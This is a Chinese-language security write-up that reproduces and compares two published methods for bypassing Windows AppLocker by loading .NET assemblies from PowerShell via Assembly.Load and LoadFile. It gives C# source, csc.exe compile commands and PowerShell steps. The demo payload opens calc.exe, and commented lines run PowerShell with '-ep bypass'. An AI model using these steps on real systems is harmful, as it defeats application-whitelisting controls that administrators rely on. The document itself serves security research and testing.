利用Assembly Load & LoadFile绕过Applocker的分析总结

0x00 前言

最近bohops在文章《Executing Commands and Bypassing AppLocker with PowerShell Diagnostic Scripts》中介绍了利用CL_LoadAssembly.ps1绕过Applocker的方法，Casey Smith早在SchmooCon 2015也提到了这个方法。本文将要对他们的两个实现方法进行复现，分析细节，比较区别，进而总结利用思路。

0x01 简介

本文将要介绍以下内容：

复现bohops的方法
复现Casey Smith的方法
细节分析
总结利用思路

0x02 复现bohops的方法

测试系统： Win7 x86

开启Applocker，开启方法可参考文章《Bypass Windows AppLocker》

开发工具: VS2012

1、新建c#控制台工程ConsoleApplication5，默认代码如下：

using System;
using System.Collections.Generic;
using System.Text;

namespace ConsoleApplication5
{
    class Program
    {
        static void Main(string[] args)
        {
        }
    }
}

2、修改代码，内容如下：

namespace ConsoleApplication5
{
    public class Program
    {
        public static void test()
        {
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
//            p.StartInfo.FileName = "c:\\windows\\system32\\cmd.exe";
//            p.StartInfo.Arguments = @"/c ""powershell.exe"" -ep bypass -c $host";   
            p.Start();
        }
        static void Main(string[] args)
        {
            test();
        }
        
    }
}

注：

class Program前需要添加访问修饰符public,添加Method test()同样要加访问修饰符public

3、修改目标框架为.net 2.0，编译生成ConsoleApplication5，保存在c:\6下

4、powershell执行如下代码：

cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\6\ConsoleApplication5.exe
[ConsoleApplication5.Program]::test()

注：

..\..\..\..\能够定位到c:\

[ConsoleApplication5.Program]::test()需要同程序内的代码对应，格式为：[$namespace.$class]::$fuction()

成功执行calc.exe，绕过applocker

0x03 复现Casey Smith的方法

测试系统： Win7 x86

开启Applocker

代码参考地址：

https://gist.github.com/netbiosX/5f19a3e8762b6e3fd25782d8c37b1663

本次测试对Casey Smith的代码做细微修改

1、新建文件bypass.cs，内容如下：

using System;
using System.Collections.Generic;
using System.Text;

public class Program
{
	public static void Main()
	{
		Console.WriteLine("Hey There From Main()");
		//Add any behaviour here to throw off sandbox execution/analysts :)
		
	}
	
}
public class aaa
 {
        public static void bbb()
        {
            System.Diagnostics.Process p = new System.Diagnostics.Process();
            p.StartInfo.FileName = "c:\\windows\\system32\\calc.exe";
//            p.StartInfo.FileName = "c:\\windows\\system32\\cmd.exe";
//            p.StartInfo.Arguments = @"/c ""powershell.exe"" -ep bypass -c notepad.exe";   
            p.Start();
        }
}

2、使用2.0版本的csc.exe对其编译，生成exe文件

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe  /unsafe /platform:x86 /out:bypass.exe bypass.cs

3、powershell执行如下代码：

$bytes = [System.IO.File]::ReadAllBytes("C:\6\bypass.exe")
[Reflection.Assembly]::Load($bytes)
[aaa]::bbb()

成功执行calc.exe，绕过applocker

0x04 对比分析

1、bohops的方法

加载文件CL_LoadAssembly.ps1，位于C:\windows\diagnostics\system\AERO

文件CL_LoadAssembly.ps1内容如下：

# Copyright © 2008, Microsoft Corporation. All rights reserved.


# Common library
. .\CL_Utility.ps1

function LoadAssemblyFromNS([string]$namespace)
{
    if([string]::IsNullorEmpty($namespace))
    {
        throw "Invalid namespace"
    }

    [System.Reflection.Assembly]::LoadWithPartialName($namespace) > $null
}

function LoadAssemblyFromPath([string]$scriptPath)
{
    if([String]::IsNullorEmpty($scriptPath))
    {
        throw "Invalid file path"
    }

    $absolutePath = GetAbsolutionPath $scriptPath


[System.Reflection.Assembly]::LoadFile($absolutePath) > $null
}

调用函数LoadAssemblyFromPath，本质上是调用[System.Reflection.Assembly]::LoadFile($absolutePath)

2、Casey Smith的方法

$bytes = [System.IO.File]::ReadAllBytes("C:\6\bypass.exe")
[Reflection.Assembly]::Load($bytes)
[aaa]::bbb()

调用了[Reflection.Assembly]::Load($bytes)

注：

[Reflection.Assembly]是[System.Reflection.Assembly]的简写

3、对比

两种方法分别使用了Assembly的LoadFile和Load方法，两者的区别在这里的影响微乎其微

可以分别使用LoadFile和Load方法去调用以上两种方法生成的两个exe(分别由vs2012和csc.exe编译)

互换后的代码如下：

$bytes = [System.IO.File]::ReadAllBytes("C:\6\ConsoleApplication5.exe")
[Reflection.Assembly]::Load($bytes)
[ConsoleApplication5.Program]::test()

cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\6\bypass.exe
[aaa]::bbb()

经过以上测试，可以推断如下两段代码等价：

cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\6\bypass.exe

[Reflection.Assembly]::LoadFile("C:\6\bypass.exe")

依照以上推断，我们可以对Casey Smith的利用代码进行精简，最短的powershell实现代码如下：

[Reflection.Assembly]::LoadFile("C:\6\bypass.exe")
[aaa]::bbb()

4、适用条件

实际测试，以上两种方法适用.net 2.0，如果换成.net 4.0编译，在执行时会报错

0x05 小结

本文分别对bohops和Casey Smith的方法做了测试，找到方法的本质是分别使用了Assembly的LoadFile和Load方法。经实际测试，得出该方法只适用于.Net 2.0环境